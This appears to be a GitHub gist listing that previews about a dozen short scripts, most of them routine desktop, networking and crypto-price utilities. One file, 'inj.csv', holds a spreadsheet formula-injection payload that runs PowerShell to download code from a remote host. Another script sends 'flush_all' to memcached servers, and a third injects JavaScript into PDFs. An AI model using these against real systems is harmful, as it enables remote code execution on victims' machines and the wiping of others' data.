View caesar.py
#!/usr/bin/env python3
import sys
import base64
try:
import click
except Exception as e:
print(e)
print("Install click")
sys.exit(-1)
View anti-memcached.py
#!/usr/bin/env python
import json
import socket
import urllib.request
from random import shuffle
def send_flush(s):
s.sendall("{}\r\n".format("flush_all").encode())
print(s.recv(4096).decode().strip())
View windows_list.zsh
#!/usr/bin/env zsh
#Get id of all non-floating windows on current desktop
WINDOWS=(${(f)"$(bspc query -N -d focused -n .window)"})
#Get id of currently focused window
FOCUSED="$(bspc query -N -d focused -n .focused.window)"
FORMAT="-f3-"
View share_eth0.zsh
#!/usr/bin/env zsh
INTERFACE_WIRED="enp6s0"
INTERFACE_INTERNET="wlp2s0"
sudo ip addr add 192.168.2.1/24 dev ${INTERFACE_WIRED}
# NAT
sudo iptables -A FORWARD -o eth0 -i ${INTERFACE_WIRED} -s 192.168.2.0/24 -m conntrack --ctstate NEW -j ACCEPT
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -t nat -F POSTROUTING
View getETH.py
#!/usr/bin/env python3
import aiohttp
import asyncio
import async_timeout
import datetime
from colored import fg, stylize, attr
wallet_address = "ADDRESS"
urlAPI = "https://api.ethermine.org/miner/{}".format(wallet_address)
coinbase = "https://www.coinbase.com/api/v2/prices/ETH-EUR/spot"
View addjstopdf.py
try:
from PyPDF2 import PdfFileWriter, PdfFileReader
import click
except ModuleNotFoundError:
print("pip install pypdf2 click")
import sys
sys.exit(-1)
CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])
View reoder_deobfuscator.py
#!/usr/bin/env python3
#
# AUTHOR: Edoardo Rosa <edoardo [.] rosa [at] yoroi [dot] company>
#
# Sample: ("{0}{1}{4}{3}{5}{2}" -f 'CONv','er','G','R','tTo-SecURest','In')
# Decoded output: CONvertTo-SecURestRInG
#
try:
from pathlib import Path
View inj.csv
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file
=cmd|' /k poweRSheLL "(New-Object System.Net.WebClient).DownloadString(''http://10.3.10.1:3445'')"'!A0
View goenv.zsh
#!/usr/bin/env zsh
#
# create a Go workspace
# Author: edoz90
# Usage: `source goenv.zsh [-u|--update]`
#
_GO_PROJECT_DIR="${_:a:h}"
if [[ $(command -v go) ]]; then
View bulkblock.zsh
#/usr/bin/env zsh
#
echo "Block IP \"${1}\""
echo "========================================="
local domain="www.mymegasite.org"
local user_agent="Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0"
local nonce="COPY-PASTED-NONCE"
local data="IP=${1}&reason=Manual+block+by+administrator&perm=1&action=wordfence_blockIP&nonce=${nonce}"